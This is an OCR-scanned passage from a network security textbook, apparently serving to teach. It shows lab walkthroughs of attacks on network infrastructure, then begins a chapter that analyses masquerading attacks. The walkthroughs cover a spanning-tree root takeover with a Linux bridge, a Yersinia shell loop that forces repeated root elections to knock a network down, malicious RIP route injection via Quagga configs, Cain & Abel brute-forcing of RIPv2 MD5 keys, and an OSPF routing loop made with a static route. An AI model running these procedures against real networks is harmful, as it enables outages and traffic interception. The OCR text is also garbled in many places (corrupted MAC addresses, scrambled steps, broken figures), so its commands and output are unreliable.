hello timer 0.00 ten timer 0.00
topology change timer 0.00 gc timer 0.00
flags

eth0 (0)

port id 0000 state disabled
designated root 8000.0000215¢c0b22 path cost 19
designated bridge 8000.0000215¢c0b22 message age timer 0.00
designated port 8001 forward delay timer 0.00
designated cost 0 hold timer 0.00
flags

ethl (0)

port id 0000 state disabled
designated root 8000.0000215¢c0b22 path cost 19
designated bridge 8000.0000215c0b22 message age timer 0.00
designated port 8002 forward delay timer 0.00
designated cost 0 held timer 0.00
flags

c. Step 3. Turn on STP

8000.0000215¢0b22, and the port states are disabled.

and check STP status and setting. Note that the bridge id is

root@attacker:/# brectl setbridgeprio

root@attacker:/# ifconfig hackerbridge up

hackerbridge 12

d. Step 4. Set the Bridge Root priority to 12, which implies a very high priority so that it can be

elected to be the root.
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root@attacker# brctl showstp hackerbridge
hackerbridge

bridge id 000c.0000215c0b22

designated root 000c.0000215c0b22

root port 0 path cost

max age 20.00 bridge max age
hellc time 2.00 bridge hello time
forward delay 15.00 bridge forward delay
ageing time 300.01

hello timer 1.16 ten timer

topology change timer 29.85 gc timer

flags TOPOLOGY CHANGE TOPOLOGY CHANGE_DETECTED
eth0 (0)

port id 0000 state

designated root 000c.0000215¢c0b22 path cost
designated bridge 000c.0000215c0b22 message age timer
designated port 8001 forward delay timer
designated cost 0 hold timer

flags
ethl (0)

port id 0000 state

designated root 000c.0000215¢c0b22 path cost
designated bridge 000c.0000215c0b22 message age timer
designated port 8002 forward delay timer
designated cost 0 hold timer

flags

20.
.00
15.

00

00

.00
.16

forwarding

19

0.
0.
0.

00
00
16

forwarding

19

0.
0.
0.

00
00
16

e. Step 5. After changing the Root priority, the port states become forwarding. It causes the STP

topology change, and the hackerbridge now becomes the new root.

SwitchA#sh spanning-tree

VLANOOO1
Spanning tree enabled protoccl ieee
Root ID Priority 12
Address 0000.215c.0b22
Cost 19
Port 2 (FastEthernet0/2)

Bridge ID Priority 32769 (priority 32768 sys-id-ext 1)
Address 0019.5646.3d80

Aging Time 300

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Interface Role Sts Cost Prio.Nbr Type
Fa0/1 Desg FWD 19 128.1 P2p
Fa0/2 Root FWD 19 128.2 P2p
Fa0/24 Altn BLK 19 128.24 P2p

f. Step 6. Check on Switch A for the STP topology information. It shows that the hackerbridge is

the root, and its Fa0/24 port becomes blocked.

Fig. 5.10. Steps to become a root in a STP attack using a Linux bridge.
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Fig. 5.11. The attacker after becoming the root is able to capture the traffic flowing through it.

5.2.4 STP Attack -- DoS by Eternal Root Elections Using yersinia

Overview
As can be seen in the previous experiment, it is easy to attain the role of root in
spanning tree with tool like Linux Bridge. Each root claim with lowest Bridge ID
in the network could cause all switches perform topology recalculation. If the at-
tacker constantly performs root claim, the switches will constantly perform topol-
ogy recalculation. It will interrupt the normal operation of the switched network,
leading to denial of service. This attack is called eternal root election, and dis-
cussed in Sect. 2.2.3.

Fig. 5.12 shows our test bed that consists of three switches running STP and
redundant physical link. It shows a realistic scenario as the attacker is attaching to
one of the switches as other ordinary hosts. It implies that other hosts in the net-

work can also perform this attack.
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% A’s Bridge ID: 32769-0019.5615.1440

Host A B’s Bridge ID: 32769-0019.5646.3d80
192.168.1.7 C’s Bridge ID: 32769-0019.5646.0640

BPDU with lowest
Bridge ID

Host B
192.168.1.8

Attacker
192.168.1.9
Running Yersinia

Fig. 5.12. Testing environment for eternal root election attack.

Attack Using Yersinia

Though eternal root election can be manually achieved by Linux bridge mentioned
in the previous section, it would be much easier to use Yersinia. Yersinia is an
open-source tool that runs on different platforms and supports various protocols
such as CDP, DHCP, VTP, and the one we need — STP.

In Yersinia, graphical user interface is provided and some STP attacks (such
as DoS sending RAW TCN BPDU) have already implemented. Therefore, users
can launch the attacks by just a few clicks. However, to better reveal the attack
operation, this experiment uses Yersinia in command mode, and customizes our
own BPDU frames.

Unlike the Linux bridge module that turns a Linux machine into a switch

device, Yersinia simply injects custom BPDU frames into the network, providing
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a faster way to disrupt or interference the network. The following shows the usage

of Yersinia:

yersinia stp [-h -M] [-attack id] [-source arg] [-dest argl
[-id arg] [-version arg] [-type arg] [-flags arg] [-rootid

arg] [-cost arg] [-bridgeid arg] [-portid arg] [-message
arg] [-max-age arg] [-hello arg] [-forward arg] [-interface
arg]

The following command shows an example that uses the -attack option and its
relative parameters to make the attacker advertise a BPDU with the bridge ID

0122.111011223345 (Which is lower than the current root’s ID):

# yersinia stp -attack 0 -id 0 -version 0 -type 0 -flags
01 -rootid 0122.111011223345 -cost 0 -bridgeid
0122.111011223345 -portid 8002 -message 0 -max-age 14
-hello 2 -forward 0f -interface eth0 > /dev/null

Result and Verification
Each time of root election would stop the network service for a period of default
convergence time -- 50 seconds. Therefore, if we send the BPDU with lowest
bridge ID every 50 seconds, it can cause eternal root elections and force the net-
work unusable.

To unleash the consequence of the attack, we have done it in a more tricky
way -- sending the BPDUs every strategic 55 seconds. The following shell script

can achieve it.

#! /usr/bin/env sh

while [ true ]

do
yersinia stp -attack 0 -id 0 -version 0 -type 0 -flags
01 -rootid 0122.111011223345 -cost 0 -bridgeid
0122.111011223345 -portid 8002 -message 0 -max-age 14
-hello 2 -forward 0f -interface eth0 > /dev/null

date
sleep 55
done
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Since the default convergence time is 50 seconds, this script is able to force the
network down for 50 seconds, then up for 5 seconds, and immediately after that,
down 50 seconds and up 5 seconds again, and so on.

To verify that, when the attack was in progress, host A was continuously
pinging to host B. Fig. 5.13 shows the ping results in the console of Host A, it can
be seen that the ping failed for 50 seconds and then succeeded for 5 seconds and
so on, which fulfilled the attacking goal!

Of course if the attacker sends the BPDUs in an irregular period, this would
cause the network stop and resume service for irregular periods, making the attack

detection more difficult.

ing 192.168.1.8

y from

y From

y From
from .
from 192.168.1.8: byt - = TTL-64 — yersinia sent 1st BPDU.

The switch network started

to be out of service.

-1 After 50 seconds, the
network converged.

] After another 5 seconds,
— yersinia sends 2nd
BPDU.

Fig. 5.13. Ping results showing that the network is down for 50 and up for 5 seconds and so on.
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Change Parameters

A variation of the above attack can be achieved by modifying the STP timers.
Switch ports have to go from the blocking state to the listening and learning states,
and finally stabilize to the forwarding or blocking state. Since the durations of the
states are controlled by STP timers (Max Age and Forward Delay), if one can
modify them can change the convergence time.

As only the root bridge can set the timer values, an attacker after becoming
the root can modify the values of them. STP timer values are specified in Con-
figuration BPDUs, and can be achieved by using yersinia with the —max, -hello,
and -forward options. If the attacker set the Max Age and Forward Delay timers
to their maximum value, i.e. 255 seconds, the convergence time will become 765
seconds (Max Age + Forward Delay + Forward Delay) which is much longer than
the default 50 seconds (20+15+15). Such unreasonable long convergence time

leads to network service degradation.

5.2.5 RIP Attack — DoS by Malicious Route Insertion

Overview
The goal of this experiment is to demonstrate that, by running a software router, a
host (the attacker) on the network can easily join the routing domain and inject
malicious routing update to cause denial of service to a particular network.
Consider the testing environment shown in Fig. 5.14. In normal case, Router
A forwards all packets destined for 1.0.0.0 to Router B. By advertising the con-
nection to the 1.0.0.0 network, the attacker (running a software router called
Quagga) is able to fool Router A into believing that the path via the attacker to
1.0.0.0 is shorter. As a result, Router A will forward all packets destined for
1.0.0.0 to the attacker (instead of Router B). Since that packets will not be handled
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and thus be dropped by the attacker, it causes denial of service to the 1.0.0.0 net-
work.

The router configuration files to set up the network are shown in Fig. 5.15.
Readers who do not understand the files should refer to the on-line resource for
Cisco router.

For simplicity, this lab assumes the routers are running RIP version 1 with-
out using authentication. In the next lab, it will show the way to crack the strong

MDS5 authentication in RIP version 2.

| am connecting

Server
1.0.0.2

Attacker
4.0.03
Running Quagga

Fig. 5.14. Testing environment.
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hostname RouterA
!

interface FastEthernet0/0
ip address 4.0.0.1 255.0.0.0
!

interface FastEthernet0/1
ip address 5.0.0.1 255.0.0.0
!

interface Serial0/0/1
ip address 3.0.0.1 255.0.0.0
!

hostname RouterC
!

ﬁterface FastEthernet0/0
ip address 1.0.0.1 255.0.0.0
!

interface Serial0/3/1
ip address 2.0.0.2 255.0.0.0
!

router rip
network 1.0.0.0
network 2.0.0.0

hostname RouterB
|

interface Serial0/0/0

ip address 2.0.0.1 255.0.0.0
clock rate 56000

|

interface Serial0/0/1

ip address 3.0.0.2 255.0.0.0
clock rate 56000

|

router rip

network 2.0.0.0
network 3.0.0.0

router rip

network 3.0.0.0
network 4.0.0.0
network 5.0.0.0

Fig. 5.15. The router configuration files to set up the network.

Attack Using Quagga

As mentioned before, to attack a routing domain, it could be much easier if the at-
tacker manages to take over one of routers on the network. With the control of it,
the attacker can type commands to obtain various kinds of information about the
network and its neighbor. The attacker can also configure its router in a way to
achieve its attacking purpose.

Having the full control of a router is not difficult. It is because the attacker
can install routing software in an UNIX-like machine on the network, making it
become one of the routers on the network. The experiments in this section mainly
use this approach to join the routing domain.

One of the common routing software is Quagga (http://www.quagga.net/). It
provides a suite of TCP/IP based routing protocols including RIP, OSPF and BGP.
Since Quagga uses a very similar interface and keywords as those in the Cisco
platform, it does not require us to learn another set of commands to configure our
software router.

The Quagga architecture consists of a core daemon called zebra and a num-
ber of protocol-specific routing daemons such as ripd, ospfd, and bgpd. And, each

daemon has its own configuration file. Therefore, it is only necessary to run the
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protocol daemon and the corresponding configuration file associated with routing
protocols in use. For example, if only RIP is used, both zebra and ripd need to be
run, and both zebra.conf and ripd.conf need to be configured.
Since the network in this experiment is running RIP, we only need to initiate
the zebra and ripd daemons by the following commands:
root@Attacker:/usr/lib/quagga# ./zebra -d

root@Attacker:/usr/lib/quagga# ./ripd -d

To enter the interactive session of the daemons, we have to telnet into the corre-
spond ports:
zebra: telnet localhost 2601

ripd: telnet localhost 2602

The configure files for this case can be very simple, as shown in Fig. 5.16. The
most important command in the ripd.conf is “network 1.0.0.0/8”, which is for the

attacker to claim that it has a direct connect to the network 1.0.0.0/8.

etc/quagga/zebra.conf

! Zebra configuration file
!

hostname Router
password zebra1

enable password zebra2
!

iog stdout

ete/quagga/ripd.conf

! RIPd configuration file
!

hostname ripd
password zebra
!

—route rip

network 1.0.0.0/8
network eth0

|

iog stdout

Fig. 5.16. The configuration files used in the attacker’s software router.
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Result and Verification

After running Quagga with the above configuration, Router A will be fooled to
believe that the path via the attacker to 1.0.0.0 is shorter, and forward all packets
destined for 1.0.0.0 to the attacker (instead of Router B).

We can verify this route change by checking the contents of Router A’s
routing table before and after the attacker runs its software router. The tables are
shown in Fig. 5.17.

To better understand the route selection process in Router A, we enabled the
RIP debug mode (by the command “debug ip rip”). The debug messages are
shown in Fig. 5.18. As can be seen, at the time 11:56:55.640, Router A received
the RIP update from Router B (Router A’s legitimate neighbor) stating that 1.0.0.0
is two hops away from it. However, at the time 11:58:00.040, Router A received
the RIP update from the attacker, stating that 1.0.0.0 is one hop away. Since this
hop count is smaller, Router A replaced this route with that provided by Router B
in its routing table. As a result, the hosts in networks 4.0.0.0 and 5.0.0.0 were un-
able to connect to the server in network 1.0.0.0.

An alternative way to join or interference the routing domain is to use
packet inject tools. For example, Nemesis (http://nemesis.sourceforge.net/) can
natively craft and inject RIP, OSPF, and other packets. On the other hand, the In-
ternetwork Routing Protocol Attack Suite (irpas)
(http://www.phenoelit-us.org/irpas/) also supports the packet injection of various
kinds of routing protocols. Though they are not as flexible as a software router
that provides most of configuration command as those provided by real routers,
they are much light-weight to use. Nonetheless, for the legitimate uses, those
packet inject tools provide a good way for advanced network operations, testing,

and debugging.
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RouterA#show ip route

Gateway of last resort is not set

R 1.0.0.0/8 [120/2] via 3.0.0.2, 00:00:20, Serial0/0/1
R 2.0.0.0/8 [120/1] via 3.0.0.2, 00:00:20, Serial0/0/1
C 3.0.0.0/8 is directly connected, Serial0/0/1

Cc 5.0.0.0/8 is directly connected, FastEthernet0/1

RouterA#

a. Before.

RouterA#show ip route

Gateway of last resort is not set

1.0.0.0/8 [120/1] via 4.0.0.3, 00:00:20, FastEthernet0/1
2.0.0.0/8 [120/1] via 3.0.0.2, 00:00:20, Serial0/0/1
3.0.0.0/8 is directly connected, Serial0/0/1

5.0.0.0/8 is directly connected, FastEthernet0/1

nOxXAa

RouterA#

b. After.

Fig. 5.17. Router A’s routing table before and after the attack, where ‘C’ represents connected

and ‘R’ represents RIP.

RouterA# debug ip rip
RIP protocol debugging is on

*Dec 17 11:57:55.640: RIP: received v1 update from 3.0.0.2 on Serial0/0/1

*Dec 17 11:57:55.640: 1.0.0.0 in 2 hops
*Dec 17 11:57:55.640: 2.0.0.0in 1 hops
*Dec 17 11:58:00.040: RIP: received v2 update from 4.0.0.2 on FastEthernet0/0

*Dec 17 11:58:00.040: 1.0.0.0/8 via 0.0.0.0 in 1 hops

Fig. 5.18. The debug messages shown in Router A after initiating the attack.
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5.2.6 Cracking Routing Updates with MD5 Hash

Overview

As can be seen in the last section, the routing domain can be easily disrupted by
malicious routing update insertion when authentication for the updates is not used.
To secure the exchange of routing updates, modern routing protocols (such as
RIPv2, OSPF, BGP) provide some update authentication methods. Message Di-
gest 5 (MD5) is regarded as the strongest authentication method, which uses the
one-way MD5 hash algorithm.

The configuration of MDS5 authentication is simple. Take RIPv2 as the ex-
ample, the following shows the commands (with description) for enabling MD5
authentication in Cisco routers. Once it is enabled, a 16-byte hash of the routing
update combined with a secret key is created and stored at the end of a RIPv2
packet (see Fig. 5.19 for the packet format). Since that 16-byte value is mes-
sage-specific (i.e., based on the content of a update), merely passive sniff is not
able to identify value of the secret key. Without the key, attackers are unable to
construct a valid update.

Router (config)# key chain mykeychain (identify key chain,

mykeychain)
Router (config-keychain)# key 1 (specify key num-
ber, 1)
Router (config-keychain-key) # (specify secret key,
key-string mykey mykey)

Router (config-if)# ip rip authenti- (specify auth. type,
cation mode md5 md5)
Router (config-if)# ip rip authenti- enable auth.)

cation key-chain mykeychain
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8 8 8 8
Command | Version Routing domain
OxFFFF Auth type=Keyed message digest
RIP-2 packet length Key ID | Auth data len

Sequence number (nondecreasing)
Reseved must be zero
Reseved must be zero
(RIP-2 packet length -14) bytes of data
OxFFFF 0x01
Authentication data (var. length 16 byte with keyed MD5)

Fig. 5.19. Format of a RIPv2 update with MD5 Authentication.

Cracking MDS Hashes for RIPv2 using the C&A package

Though the MD5 authentication is regarded as secure, in practice, it still suffers
from being cracked by reverse engineering, particularly when a short secret key is
used. As mentioned in Sect. 3.3.2, a lot of tools performing this reverse engineer-
ing process exist, commonly by the technique of bruteforce. Among them, we use
the Cain & Abel package (http://www.oxid.it/cain.html) in this experiment, as it
directly supports routing protocols and provides a very elegant user interface.

The C&A package provides a number of tools including sniffing and brute-
forcing, which makes it a very convenient single software to cracking the MD5
hashes. The attacker has to first capture a RIPv2 update message to crack the MD5
hash inside the message. It can be achieved by using the C&A’s sniffer module.
What makes C&A user friendly is that the attacker can select the captured mes-
sage and send it to the cracking module. Now, in the cracking module, after se-
lecting that captured message, then right-clicking and selecting one of the cracking
modes (Fig. 5.20), the attacker can start to crack the MDS5 hash within the mes-
sage. When the brute-force attack is chosen, a dialogue showing some interesting

information appears.
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Fig. 5.20. To start brute-force attack for the selected routing update with MDS5 hash.

Result
We installed C&A in Windows laptop with an intel Core 2 Due 1.4GHz CPU and
1GB of RAM. We used the character set “abcdefghijklmnopqrstuvwxyz” and the
maximum key length of 16 for the brute-force attack. Based on these hardware
configuration and parameter setting, as can been seen in the brute-force attack
dialogue shown in Fig. 5.21, the Key Rate is about 1450331 Pass/Sec, and the
time to crack the key is 9.91725e+9 years, which seems computationally infeasi-
ble to achieve the task. However, the result is quite unbelievable — it took just
about 10 seconds to crack the hash and obtain the key “mykey”.

We have tried another test — a longer key “mysecret” instead of “mykey”
was used when configuring RIPv2. Fortunately, C&A took about 30 hours to
crack the key, given the same character set. If we include also the numerical digits

in the character set (i.e., the set of “abcdefghijklmnopqrstuvwxyz0123456789” is
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used), supposing that the same Key Rate of 1450331 Pass/Sec is achieved, C&A
will have to take up to 24 days to crack the hash. As can be seen, the length of key
and the character contained in the key are critical.

We use RIPv2 as the example in this experiment. Nonetheless, the attacking
concept and procedure is applicable to other routing protocols. The purpose of this
experiment is to show that if a short or easy-to-guess key is used, even though
strong MDS5 authentication is applied, it is possible for attackers to crack the key.
Once the key is known, they can join the routing domain by sending routing up-

dates encrypted by that cracked key.

Brute-Force Attack

Fig. 5.21. Brute-force attack in progress that shows 9.91725e+9 years left.
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5.2.7 OSPF Attack — Routing Loop by a Compromised Router

Overview
The purpose of this experiment is to demonstrate that if a router is compromised, a
simple modification to the configuration file can lead to serious network problem.

Consider the OSPF network depicted in Fig. 5.22, in which, all links have a
unit cost except the link connecting between routers A and C. Therefore, in nor-
mal case, for the packets sourced from router A, the shortest path to router D is
A-B-C-D.

Suppose that the attacker manages to compromise router C and cause it to
maliciously forward those packets that should be forwarded to router D back to
router A. As a result, a routing loop (A-B-C-A-B-C-A...) is formed and the pack-
ets will circulate until their time-to-live (TTL) expire. This loop not only disrupts
the routing network but also overloads the routers and causes extra network traf-
fic.

In order to make the implementation simpler, in this experiment, we con-
sider that the compromised router C maliciously mishandle only the traffic des-
tined for the network 7.0.0.0 by forwarding them to router A (not the correct
router D).

Fig. 5.23 shows part of the configuration files of the routers to build the

testing environment.

Fig. 5.22. Normal path to router D from router A is A-B-C-D.



214

Network Infrastructure Security

hostname RouterA

!

interface FastEthernet0/1
ip address 5.0.0.1 255.0.0.0
ip ospf cost 1

]

interface Serial0/0/0
ip address 2.0.0.1 255.0.0.0
ip ospf cost 3
clock rate 56000

]

interface Serial0/0/1
ip address 3.0.0.1 255.0.0.0
ip ospf cost 1

]

router ospf 1
network 2.0.0.0 0.255.255.255 area 0
network 3.0.0.0 0.255.255.255 area 0
network 5.0.0.0 0.255.255.255 area 0

hostname RouterB

!

interface Serial0/3/0
ip address 4.0.0.1 255.0.0.0
ip ospf cost 1

|

interface Serial0/3/1
ip address 3.0.0.2 255.0.0.0
ip ospf cost 1
clock rate 56000
|
router ospf 1
network 3.0.0.0 0.255.255.255 area 0

network 4.0.0.0 0.255.255.255 area 0
!

hostname RouterC
]

i.nterface FastEthernet0/1
ip address 6.0.0.2 255.0.0.0
ip ospf cost 1

]

interface Serial0/0/0
ip address 2.0.0.2 255.0.0.0
ip ospf cost 3

]

interface Serial0/0/1
ip address 4.0.0.2 255.0.0.0
ip ospf cost 1
clock rate 56000

]

router ospf 1
network 2.0.0.0 0.255.255.255 area 0
network 4.0.0.0 0.255.255.255 area 0
network 6.0.0.0 0.255.255.255 area 0

hostname RouterD
I

i.nterface FastEthernet0/0
ip address 6.0.0.1 255.0.0.0
ip ospf cost 1

I

{nterface FastEthernet0/1
ip address 7.0.0.1 255.0.0.0
ip ospf cost 1

I

.router ospf 1
network 6.0.0.0 0.255.255.255 area 0
network 7.0.0.0 0.255.255.255 area 0

Fig. 5.23. The router configuration files for the normal operation of the network.
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Attacking
In the normal case, for the packets sourced from router A, the shortest path to
network 7.0.0.0 is via routers A-B-C-D. To verify that, we can use the traceroute
utility (it is called tracert in Windows). The utility shows the routers in the route
between the sender and destination by making use of ICMP packets. Fig. 5.24a.
shows the result of traceroute executed in Router A. As can be seen, the packets
originated from router A take the path of B-C-D to reach network 7.0.0.0.

Now the attacker is going to force router C to mishandle the traffic destined
for network 7.0.0.0 by forwarding them to router A. Suppose that router C is
compromised, the implementation of this attack is simple -- the attacker simply

adds the following static route in router C:

RouterC(config)# ip route 7.0.0.0 255.0.0.0 2.0.0.1

The above command can force router C to statically forward all packets destined
for 7.0.0.0 to router A, instead of to the one (router D) learnt by OSPF. See Fig.

5.25 for the routing tables before and after adding the static route.

Result and verification
After adding the above static route, a routing loop of routers A-B-C is formed for
the traffic destined for 7.0.0.0. To verify this, we can execute traceroute again in
router A to reach network 7.0.0.0. This time (after attacking), the traceroute pro-
duced different result, as shown in Fig. 5.24b. By observing the traceroute output,
a routing loop of A-B-C can be identified.

Thought the attack implementation is simple, this experiment successfully
demonstrates that if a router is compromised, even a simple modification to the

configuration file can lead to a serious network problem.
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Of course, if the attacker manages to mishandle the traffic by running a
background process that does not affect the content of the configuration file, it

could make the identification of network problem much difficult.

RouterA#traceroute 7.0.0.1

Type escape sequence to abort.
Tracing the route to 7.0.0.1

1 3.0.0.2 16 msec 16 msec 16 msec

2 4.0.0.2 28 msec 28 msec 32 msec

36.0.0.1 32 msec 28 msec *
RouterA #

a. Before attacking.

RouterA #traceroute 7.0.0.1

Type escape sequence to abort.
Tracing the route to 7.0.0.1

1 3.0.0.2 16 msec 16 msec 16 msec
2 4.0.0.2 32 msec 28 msec 32 msec
3 2.0.0.1 44 msec 36 msec 36 msec
4 3.,0.0.2 32 msec 32 msec 32 msec
54.0.0.2 48 msec 44 msec 48 msec
6 2.0.0.1 52 msec 52 msec 52 msec
7 3.0.0.2 48 msec 48 msec 48 msec
8 4.0.0.2 64 msec 64 msec 60 msec
9 2.0.0.1 72 msec 68 msec 68 msec
10 3.0.0.2 64 msec 64 msec 64 msec
11 4.0.0.2 80 msec 76 msec 80 msec
12 2.0.0.1 84 msec 84 msec 84 msec
13 3.0.0.2 84 msec 80 msec 80 msec
14 4.0.0.2 96 msec 96 msec 96 msec
15 2.0.0.1 100 msec 100 msec 100 msec

b. After the malicious insertion of static route.

Fig. 5.24. Traceroute executed in Router A for the destination of 7.0.
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stephen#show ip route

Esateway of last resort is not set

C 4.0.0.0/24 is directly connected, Serial0/0/1

0 5.0.0.0/24 [110/3] via 4.0.0.1, 00:04:31, Serial0/0/1

C 6.0.0.0/24 is directly connected, FastEthernet0/1

o] 7.0.0.0/24 [110/2] via 6.0.0.1, 00:00:35, FastEthernet0/1
C 2.0.0.0/24 is directly connected, Serial0/0/0

o] 3.0.0.0/24 [110/2] via 4.0.0.1, 00:04:31, Serial0/0/1
stephen#

o

. Before attacking.

stephen#show ip route

-Gateway of last resort is not set

C 4.0.0.0/24 is directly connected, Serial0/0/1

0O  5.0.0.0/24 [110/3] via 4.0.0.1, 00:01:47, Serial0/0/1
o 6.0.0.0/24 is directly connected, FastEthernet0/1

S  7.0.0.0/24 [1/0] via 2.0.0.1

C 2.0.0.0/24 is directly connected, Serial0/0/0

0O  3.0.0.0/24 [110/2] via 4.0.0.1, 00:01:47, Serial0/0/1
stephen#

b. After the malicious insertion of static route.

Fig. 5.25. Routing table of router C, where ‘C’ represents connected, ‘O’ represents ‘OSPF’, and

‘S’ represents static.
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6. Protecting Network Infrastructure — A New Approach

This chapter serves as a summary of the previous chapters and discusses a new
approach on building secure network infrastructure — separated networks for data
and signal. It is our research work. We believe the approach could solve the fun-
damental problems of network infrastructure security, and solve most problems

listed in the previous chapters.

6.1 Purpose of the Chapter

In the previous chapters, network infrastructure security at data link layer (in
Chapter 2), network layer (in Chapter 3), and application level (in Chapter 4) is
discussed in detail. Most of the network infrastructure attacks and their mitigation
have also been discussed. From each of the mitigation discussed, a specific solu-
tion to a specific security problem can be found. For example, to solve the MAC
flooding problem discussed in Chapter 2, the solution of port security can be used.
When more and more security problems are found (at different layers), more and
more solutions are proposed. In studying these problems and solutions, one may
finally come up with this question: is there any root problem in today’s network
infrastructure? Root problem means the main problem that is behind all existing
security problems. If there is such a root problem, then the next natural question
will be: is/are there any way(s) to solve this root problem?

The authors of this book convince that there exists such a root problem (or
at least one of the root problems) in today’s network infrastructure. This root prob-
lem is masquerading. 1t is the purpose of this chapter to explain why masquerad-
ing is the root problem, and to point out a new design model to solve it. Based on
this new model, the approach to make secure network infrastructure is introduced.
It is expected that the discussion in this chapter is beneficial to researchers, devel-
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opers and manufacturers in building more secure architecture, protocols or prod-
ucts for network infrastructure.

In this chapter [1], we first start with an analysis on network infrastructure
attacks. Although most of these attacks have been discussed in previous chapters,
the analysis here is done at a different angle: it is to show how masquerading is
done in these attacks. From the analysis, it is easily shown that masquerading is
the root problem of network infrastructure security.

After the analysis, we will discuss the steps in hacking the network infra-
structure. From a hacker’s point of view, the key design problem of today’s net-
works can be seen easily: it is the flat network design that treats end computers as
part of a network. This flat design in turn facilitates masquerading — the root prob-
lem of network infrastructure security.

To build a secure network infrastructure, a new design that is fundamentally
different from the flat design must be introduced. This new design model, together
with the approach of building secure network infrastructure, is then discussed. The
approach can be used in different layers of computer networks, as selected exam-
ples are discussed in this chapter. It is expected that the application of this ap-

proach will be more common in the future.

6.2 Analysis on Security Problems of Network Infrastructure

6.2.1 The Root Problem - Masquerading

Before explaining why masquerading is the root problem of network infrastructure
security, we first discuss what masquerading is. In network infrastructure security,
masquerading is an attempt to deceive a network infrastructure device about the
true nature or identity of the messages sending to the device. In other words, the
messages sending to the device pretends to be valid and trustful but in fact they

are not.
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Masquerading can be done at different layers. If it is done at the network
layer, it can be called packet spoofing. Similarly, it can be called frame spoofing if
masquerading is done at the data link layer. Table 6.1 shows how masquerading is
achieved in various network infrastructure attacks. Most of these attacks have al-
ready been discussed in the previous chapters, but the discussion here is to focus

on how masquerading is achieved in the process of the attacks

Table 6.1. How masquerade is done in network infrastructure attacks.

Layer Name of Attack How masquerade is achieved in the attacks

DNS cache poisoning at- The attacker sends a spoofed reply to the victim
tack client.

DNS zone transfer attack The attacker intercepts a zone transfer query, and
pretends to be a master DNS server by returning
fake data to the slave DNS server.

DNS dynamic update at- The attacker pretends to be a trusted dynamic up-
tack date source and sends forged dynamic update
packets to a DNS server.

|Application

IP Spoofing attack The intruder sends messages to a host with an IP
address (not its own) indicating that the message is
coming from a trusted host to gain unauthorized
access to the host or other hosts.

Routing attack The attacker’s machine pretends to be a router and
sends routing information to the routers on the
network. Traffic is then redirected to the wrong di-
rection due to the wrong routing information.

Router link attack The attacker appears to be a trusted router, and in-
terrupts, modifies, fabricates or replicates routing
updates.

ICMP attack This attack works by sending one-way spoofing
informational messages to a host. Since there is no
authentication in ICMP, it may lead to DoS, or to
allow an attacker to intercept packets.

INetwork

DHCP starvation attack ~ This attack works by sending DHCP requests with
spoofed MAC addresses. The purpose is to ex-
haust the address space available.

f: DHCP Man-in-the-middle The attacker sets up his forged DHCP server and
':; attack default gateway to a network.

g DNS redirection attack us- The attacker sets up his forged DHCP and DNS
= ing DHCP servers to a network.

5]

2 Hot Standby Router The attacking computer pretends to be a router

2 Protocol (HSRP) Attack participating in the HSRP operation. The purpose
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is to interfere the HSRP operation so that DoS at-
tack can be launched.

CAM table overflow This attack floods an Ethernet switch with a large
attack number of spoofed MAC addresses. The purpose
is to make the CAM table of the switch full.

VLAN hopping attack In this attack, the attacking computer pretends to
belong to another VLAN by sending frames with a
different VLAN ID.

MAC address spoofing  The attacking computer sends Ethernet frames

attack with source MAC address belonging to another
computer. The purpose is to trick the switch so
that frames are wrongly sent to the attacking
computer.

STP attack The attacking computer pretends to be an Ethernet
switch participating in the spanning-tree operation.
The purpose is to modify the spanning-tree
topology structure of the network.

ARP attack The attacking computer sends ARP messages to
trick other computers. After doing this, attacks like
DoS attack or Man-In-The-Middle attack can be
launched.

Cisco Discovery Protocol The attacking computer pretends to be a Cisco
(CDP) attack device by sending wrong CDP information to a
Cisco router/switch.

Data Link

DNS cache poisoning attack

If an attacker is able to place himself between a client and a DNS server, he/she
can intercept the DNS request and send a spoofed reply to the victim client.
Remind that a client only accepts the reply with the same transaction ID as the one
on its query packet. If the attacker knows the ID, he can pretend to be the DNS

server by returning DNS reply packet with incorrect information.

DNS zone transfer attack

The attacker first performs a main-in-the-middle attack and become capable of
intercepting the traffic between a master DNS server and a slave DNS server. The
attacker then intercepts a zone transfer query, and pretends to be a master DNS

server by returning fake data to the slave DNS server.
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DNS dynamic update attack
Dynamic update functionality is mostly sourced from programs like DHCP
servers. The attacker pretends to be a trusted dynamic update source and sends

forged dynamic update packets to a DNS server.

IP Spoofing attack

The intruder sends messages to a host with an IP address (not its own IP address)
indicating that the message is coming from a trusted host to gain un-authorized
access to the host or other hosts. To engage in IP spoofing, the attacker must first
use a variety of techniques to find an IP address of a trusted host and then modify
the packet headers so that it appears that the packets are coming from that host.
Simple Network Management Protocol (SNMP) is one of the examples that suffer
from IP spoofing attack. It is because SNMP often attempts to protect agents on
network devices or systems by only accepting requests from specific source
addresses. Thus, those network infrastructure devices using the SNMP service can
be easily compromised if the attacker modifies the source IP address in the packet

headers.

Routing Attacks

Routing protocols suffers from routing attacks, particularly when authentication
mechanism is not used to secure the routing information. RIP version 1 is one of
the examples that have no built in authentication, and the information provided in
the RIP packets is typically used without being verified. An attacker could forge a
RIP packet, claiming that Host X has the fastest path out of the network. All
packets sent out from that network would then be routed through Host X, where
they could be modified or examined. An attacker could also use RIP to effectively
impersonate any host, by redirecting all traffic supposed to be sent to the host to

the attacking machine instead.
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Router link attacks
Link attacks occur when the access to a link of a network is obtained. Through
link attacks, routing update packets can be interrupted, modified, fabricated, and

replicated by a forged router.

ICMP Attacks

It is used by the IP layer to send one-way spoofing informational messages to a
host. Since there is no authentication in ICMP, ICMP can be exploited to launch
various kinds of attacks, which may result in a denial of service or allow the
attacker to intercept packets. Denial of service attacks primarily use either the
ICMP "Time exceeded" or "Destination unreachable" messages. Both of these
ICMP messages can cause a host to immediately drop a connection. An attacker
can make use of this by simply forging one of these ICMP messages, and sending
it to one or both of the communicating hosts. Their connection will then be
broken. The ICMP "Redirect" message is commonly used by gateways when a
host has mistakenly assumed the destination is not on the local network. If an
attacker forges an ICMP "Redirect" message, it can cause another host to send

packets for certain connections through the attacker's host.

DHCP starvation attack

DHCP starvation works by broadcasting DHCP request packets with spoofed
MAC addresses. There are tools available for this attack. If enough requests are
sent, the network attacker can exhaust the address space provided by the DHCP
servers for a period of time. The attacker can then set up a rogue DHCP server and

respond to new DHCP requests from the clients on the network.

DHCP man-in-the-middle attack
Since there is no authentication in DHCP, attackers can set up its own DHCP

server pretending to be the legitimate one. The server then returns client with fake
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default gateway address, hence allowing the attacker to intercept all network traf-

fic.

DNS redirection attack using DHCP
